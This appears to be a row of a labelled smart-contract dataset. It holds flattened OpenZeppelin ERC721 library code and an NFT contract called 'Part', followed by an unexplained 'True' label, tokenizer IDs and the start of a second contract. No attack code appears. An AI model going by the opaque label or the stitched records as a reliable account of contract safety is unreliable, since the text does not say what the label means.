c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /* * @dev Adds two unsigned integers, reverts on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /* * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: node_modules\openzeppelin-solidity\contracts\utils\Address.sol pragma solidity ^0.5.2; /* * Utility library of inline functions on addresses / library Address { /* * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract / function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // File: node_modules\openzeppelin-solidity\contracts\drafts\Counters.sol pragma solidity ^0.5.2; /* * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the SafeMath * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. / library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // File: node_modules\openzeppelin-solidity\contracts\introspection\ERC165.sol pragma solidity ^0.5.2; /* * @title ERC165 * @author Matt Condon (@shrugs) * @dev Implements ERC165 using a lookup table. / contract ERC165 is IERC165 { bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; / * 0x01ffc9a7 === * bytes4(keccak256('supportsInterface(bytes4)')) / /* * @dev a mapping of interface id to whether or not it's supported / mapping(bytes4 => bool) private _supportedInterfaces; /* * @dev A contract implementing SupportsInterfaceWithLookup * implement ERC165 itself / constructor () internal { _registerInterface(_INTERFACE_ID_ERC165); } /* * @dev implement supportsInterface(bytes4) using a lookup table / function supportsInterface(bytes4 interfaceId) external view returns (bool) { return _supportedInterfaces[interfaceId]; } /* * @dev internal method for registering an interface / function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff); _supportedInterfaces[interfaceId] = true; } } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\ERC721.sol pragma solidity ^0.5.2; /* * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 / contract ERC721 is ERC165, IERC721 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; / * 0x80ac58cd === * bytes4(keccak256('balanceOf(address)')) ^ * bytes4(keccak256('ownerOf(uint256)')) ^ * bytes4(keccak256('approve(address,uint256)')) ^ * bytes4(keccak256('getApproved(uint256)')) ^ * bytes4(keccak256('setApprovalForAll(address,bool)')) ^ * bytes4(keccak256('isApprovedForAll(address,address)')) ^ * bytes4(keccak256('transferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) / constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } /* * @dev Gets the balance of the specified address * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address / function balanceOf(address owner) public view returns (uint256) { require(owner != address(0)); return _ownedTokensCount[owner].current(); } /* * @dev Gets the owner of the specified token ID * @param tokenId uint256 ID of the token to query the owner of * @return address currently marked as the owner of the given token ID / function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0)); return owner; } /* * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved / function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner); require(msg.sender == owner \|\| isApprovedForAll(owner, msg.sender)); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /* * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID / function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId)); return _tokenApprovals[tokenId]; } /* * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf * @param to operator address to set the approval * @param approved representing the status of the approval to be set / function setApprovalForAll(address to, bool approved) public { require(to != msg.sender); _operatorApprovals[msg.sender][to] = approved; emit ApprovalForAll(msg.sender, to, approved); } /* * @dev Tells whether an operator is approved by a given owner * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner / function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev Transfers the ownership of a given token ID to another address * Usage of this method is discouraged, use `safeTransferFrom` whenever possible * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred / function transferFrom(address from, address to, uint256 tokenId) public { require(_isApprovedOrOwner(msg.sender, tokenId)); _transferFrom(from, to, tokenId); } /* * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred / function safeTransferFrom(address from, address to, uint256 tokenId) public { safeTransferFrom(from, to, tokenId, ""); } /* * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check / function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data)); } /* * @dev Returns whether the specified token exists * @param tokenId uint256 ID of the token to query the existence of * @return bool whether the token exists / function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /* * @dev Returns whether the given spender can transfer a given token ID * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { address owner = ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Internal function to mint a new token * Reverts if the given token ID already exists * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted / function _mint(address to, uint256 tokenId) internal { require(to != address(0)); require(!_exists(tokenId)); _tokenOwner[tokenId] = to; _ownedTokensCount[to].increment(); emit Transfer(address(0), to, tokenId); } /* * @dev Internal function to burn a specific token * Reverts if the token does not exist * Deprecated, use _burn(uint256) instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned / function _burn(address owner, uint256 tokenId) internal { require(ownerOf(tokenId) == owner); _clearApproval(tokenId); _ownedTokensCount[owner].decrement(); _tokenOwner[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /* * @dev Internal function to burn a specific token * Reverts if the token does not exist * @param tokenId uint256 ID of the token being burned / function _burn(uint256 tokenId) internal { _burn(ownerOf(tokenId), tokenId); } /* * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to transferFrom, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred / function _transferFrom(address from, address to, uint256 tokenId) internal { require(ownerOf(tokenId) == from); require(to != address(0)); _clearApproval(tokenId); _ownedTokensCount[from].decrement(); _ownedTokensCount[to].increment(); _tokenOwner[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Internal function to invoke `onERC721Received` on a target address * The call is not executed if the target address is not a contract * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!to.isContract()) { return true; } bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data); return (retval == _ERC721_RECEIVED); } /* * @dev Private function to clear current approval of a given token ID * @param tokenId uint256 ID of the token to be transferred / function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\IERC721Enumerable.sol pragma solidity ^0.5.2; /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / contract IERC721Enumerable is IERC721 { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId); function tokenByIndex(uint256 index) public view returns (uint256); } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\ERC721Enumerable.sol pragma solidity ^0.5.2; /* * @title ERC-721 Non-Fungible Token with optional enumeration extension logic * @dev See https://eips.ethereum.org/EIPS/eip-721 / contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => uint256[]) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; / * 0x780e9d63 === * bytes4(keccak256('totalSupply()')) ^ * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^ * bytes4(keccak256('tokenByIndex(uint256)')) / /* * @dev Constructor function / constructor () public { // register the supported interface to conform to ERC721Enumerable via ERC165 _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /* * @dev Gets the token ID at a given index of the tokens list of the requested owner * @param owner address owning the tokens list to be accessed * @param index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address / function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) { require(index < balanceOf(owner)); return _ownedTokens[owner][index]; } /* * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens / function totalSupply() public view returns (uint256) { return _allTokens.length; } /* * @dev Gets the token ID at a given index of all the tokens in this contract * Reverts if the index is greater or equal to the total number of tokens * @param index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list / function tokenByIndex(uint256 index) public view returns (uint256) { require(index < totalSupply()); return _allTokens[index]; } /* * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to transferFrom, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred / function _transferFrom(address from, address to, uint256 tokenId) internal { super._transferFrom(from, to, tokenId); _removeTokenFromOwnerEnumeration(from, tokenId); _addTokenToOwnerEnumeration(to, tokenId); } /* * @dev Internal function to mint a new token * Reverts if the given token ID already exists * @param to address the beneficiary that will own the minted token * @param tokenId uint256 ID of the token to be minted / function _mint(address to, uint256 tokenId) internal { super._mint(to, tokenId); _addTokenToOwnerEnumeration(to, tokenId); _addTokenToAllTokensEnumeration(tokenId); } /* * @dev Internal function to burn a specific token * Reverts if the token does not exist * Deprecated, use _burn(uint256) instead * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned / function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); _removeTokenFromOwnerEnumeration(owner, tokenId); // Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund _ownedTokensIndex[tokenId] = 0; _removeTokenFromAllTokensEnumeration(tokenId); } /* * @dev Gets the list of token IDs of the requested owner * @param owner address owning the tokens * @return uint256[] List of token IDs owned by the requested address / function _tokensOfOwner(address owner) internal view returns (uint256[] storage) { return _ownedTokens[owner]; } /* * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address / function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { _ownedTokensIndex[tokenId] = _ownedTokens[to].length; _ownedTokens[to].push(tokenId); } /* * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list / function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /* * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the _ownedTokensIndex mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address / function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _ownedTokens[from].length.sub(1); uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array _ownedTokens[from].length--; // Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by // lastTokenId, or just over the end of the array if the token was the last one). } /* * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list / function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length.sub(1); uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array _allTokens.length--; _allTokensIndex[tokenId] = 0; } } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\IERC721Metadata.sol pragma solidity ^0.5.2; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / contract IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\ERC721Metadata.sol pragma solidity ^0.5.2; contract ERC721Metadata is ERC165, ERC721, IERC721Metadata { // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; / * 0x5b5e139f === * bytes4(keccak256('name()')) ^ * bytes4(keccak256('symbol()')) ^ * bytes4(keccak256('tokenURI(uint256)')) / /* * @dev Constructor function / constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721_METADATA); } /* * @dev Gets the token name * @return string representing the token name / function name() external view returns (string memory) { return _name; } /* * @dev Gets the token symbol * @return string representing the token symbol / function symbol() external view returns (string memory) { return _symbol; } /* * @dev Returns an URI for a given token ID * Throws if the token ID does not exist. May return an empty string. * @param tokenId uint256 ID of the token to query / function tokenURI(uint256 tokenId) external view returns (string memory) { require(_exists(tokenId)); return _tokenURIs[tokenId]; } /* * @dev Internal function to set the token URI for a given token * Reverts if the token ID does not exist * @param tokenId uint256 ID of the token to set its URI * @param uri string URI to assign / function _setTokenURI(uint256 tokenId, string memory uri) internal { require(_exists(tokenId)); _tokenURIs[tokenId] = uri; } /* * @dev Internal function to burn a specific token * Reverts if the token does not exist * Deprecated, use _burn(uint256) instead * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned by the msg.sender / function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File: openzeppelin-solidity\contracts\token\ERC721\ERC721Full.sol pragma solidity ^0.5.2; /* * @title Full ERC721 Token * This implementation includes all the required and some optional functionality of the ERC721 standard * Moreover, it includes approve all functionality using operator terminology * @dev see https://eips.ethereum.org/EIPS/eip-721 / contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata { constructor (string memory name, string memory symbol) public ERC721Metadata(name, symbol) { // solhint-disable-previous-line no-empty-blocks } } // File: node_modules\openzeppelin-solidity\contracts\access\Roles.sol pragma solidity ^0.5.2; /* * @title Roles * @dev Library for managing addresses assigned to a Role. / library Roles { struct Role { mapping (address => bool) bearer; } /* * @dev give an account access to this role / function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /* * @dev remove an account's access to this role / function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /* * @dev check if an account has this role * @return bool / function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } // File: node_modules\openzeppelin-solidity\contracts\access\roles\MinterRole.sol pragma solidity ^0.5.2; contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } // File: openzeppelin-solidity\contracts\token\ERC721\ERC721Mintable.sol pragma solidity ^0.5.2; /* * @title ERC721Mintable * @dev ERC721 minting logic / contract ERC721Mintable is ERC721, MinterRole { /* * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param tokenId The token id to mint. * @return A boolean that indicates if the operation was successful. / function mint(address to, uint256 tokenId) public onlyMinter returns (bool) { _mint(to, tokenId); return true; } } // File: openzeppelin-solidity\contracts\token\ERC721\ERC721Burnable.sol pragma solidity ^0.5.2; /* * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). / contract ERC721Burnable is ERC721 { /* * @dev Burns a specific ERC721 token. * @param tokenId uint256 id of the ERC721 token to be burned. / function burn(uint256 tokenId) public { require(_isApprovedOrOwner(msg.sender, tokenId)); _burn(tokenId); } } // File: openzeppelin-solidity\contracts\ownership\Ownable.sol pragma solidity ^0.5.2; /* * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". / contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /* * @return the address of the owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(isOwner()); _; } /* * @return true if `msg.sender` is the owner of the contract. / function isOwner() public view returns (bool) { return msg.sender == _owner; } /* * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /* * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: node_modules\openzeppelin-solidity\contracts\access\roles\PauserRole.sol pragma solidity ^0.5.2; contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } // File: openzeppelin-solidity\contracts\lifecycle\Pausable.sol pragma solidity ^0.5.2; /* * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. / contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } /* * @return true if the contract is paused, false otherwise. / function paused() public view returns (bool) { return _paused; } /* * @dev Modifier to make a function callable only when the contract is not paused. / modifier whenNotPaused() { require(!_paused); _; } /* * @dev Modifier to make a function callable only when the contract is paused. / modifier whenPaused() { require(_paused); _; } /* * @dev called by the owner to pause, triggers stopped state / function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /* * @dev called by the owner to unpause, returns to normal state / function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } // File: openzeppelin-solidity\contracts\cryptography\ECDSA.sol pragma solidity ^0.5.2; /* * @title Elliptic curve signature operations * @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d * TODO Remove this library once solidity supports passing a signature to ecrecover. * See https://github.com/ethereum/solidity/issues/864 / library ECDSA { /* * @dev Recover signer address from a message by using their signature * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param signature bytes signature, the signature is generated using web3.eth.sign() / function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); } if (v != 27 && v != 28) { return address(0); } // If the signature is valid (and not malleable), return the signer address return ecrecover(hash, v, r, s); } /* * toEthSignedMessageHash * @dev prefix a bytes32 value with "\x19Ethereum Signed Message:" * and hash the result / function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // File: contracts\Part-DeployedProd.sol pragma solidity ^0.5.0; contract Part is ERC721Full, ERC721Mintable, ERC721Burnable, Ownable, Pausable { using ECDSA for bytes32; event Disabled(address account); event Enabled(address account); constructor (string memory name, string memory symbol) public ERC721Full(name, symbol) { // solhint-disable-previous-line no-empty-blocks _disabled = true; } bool private _disabled; modifier whenNotDisabled() { require(!_disabled, "Contract is disabled"); _; } modifier whenDisabled() { require(_disabled, "Contract is not disabled"); _; } /* * @dev called by the owner to pause, triggers stopped state / function disable() public onlyPauser whenNotDisabled { _disabled = true; emit Disabled(msg.sender); } /* * @dev called by the owner to unpause, returns to normal state */ function enable() public onlyPauser whenDisabled { _disabled = false; emit Enabled(msg.sender); } function mintPart(address to, uint256 tokenId, string memory uri) public whenNotPaused onlyMinter returns (bool) { _mint(to, tokenId); _setTokenURI(tokenId, uri); return true; } function mintPartSigned(address to, uint256 tokenId, string memory uri, bytes memory signature) public whenNotDisabled returns (bool) { address signer = keccak256(abi.encodePacked(tokenId, msg.sender, uri)) .toEthSignedMessageHash() .recover(signature); require(signer == owner(), "Incorrect message signer"); _mint(to, tokenId); _setTokenURI(tokenId, uri); return true; } function transferFrom(address from, address to, uint256 tokenId) public whenNotDisabled { require(_isApprovedOrOwner(msg.sender, tokenId), "Item is not approved or owned"); _transferFrom(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public whenNotDisabled { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public whenNotDisabled { transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721Received check failed"); } function transferTokenFrom(address from, address to, uint256 tokenId) public onlyMinter { require(_isApprovedOrOwner(msg.sender, tokenId), "Item is not approved or owned"); _transferFrom(from, to, tokenId); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5718, 1011, 5890, 1008, 1013, 1013, 1013, 5371, 1024, 13045, 1035, 14184, 1032, 2330, 4371, 27877, 2378, 1011, 5024, 3012, 1032, 8311, 1032, 17174, 13102, 18491, 1032, 29464, 11890, 16048, 2629, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1016, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 29464, 11890, 16048, 2629, 1008, 1030, 16475, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1008, 1013, 8278, 29464, 11890, 16048, 2629, 1063, 1013, 1008, 1008, 1008, 1030, 5060, 23032, 2065, 1037, 3206, 22164, 2019, 8278, 1008, 1030, 11498, 2213, 8278, 3593, 1996, 8278, 8909, 4765, 18095, 1010, 2004, 9675, 1999, 9413, 2278, 1011, 13913, 1008, 1030, 16475, 8278, 8720, 2003, 9675, 1999, 9413, 2278, 1011, 13913, 1012, 2023, 3853, 1008, 3594, 2625, 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pragma solidity ^0.4.21 ; interface IERC20Token { function totalSupply() public constant returns (uint); function balanceOf(address tokenlender) public constant returns (uint balance); function allowance(address tokenlender, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenlender, address indexed spender, uint tokens); } contract BOT_ELEMENT_2 { address owner ; function BOT_ELEMENT_2 () public { owner = msg.sender; } modifier onlyOwner () { require(msg.sender == owner ); _; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 arg_1 = 190191 ; function setarg_1 ( uint256 newarg_1 ) public onlyOwner { arg_1 = newarg_1 ; } function getarg_1 () public constant returns ( uint256 ) { return arg_1 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 arg_1_input = 1000 ; function setarg_1_input ( uint256 newarg_1_input ) public onlyOwner { arg_1_input = newarg_1_input ; } function getarg_1_input () public constant returns ( uint256 ) { return arg_1_input ; } // IN DATA / SET DATA / GET DATA / 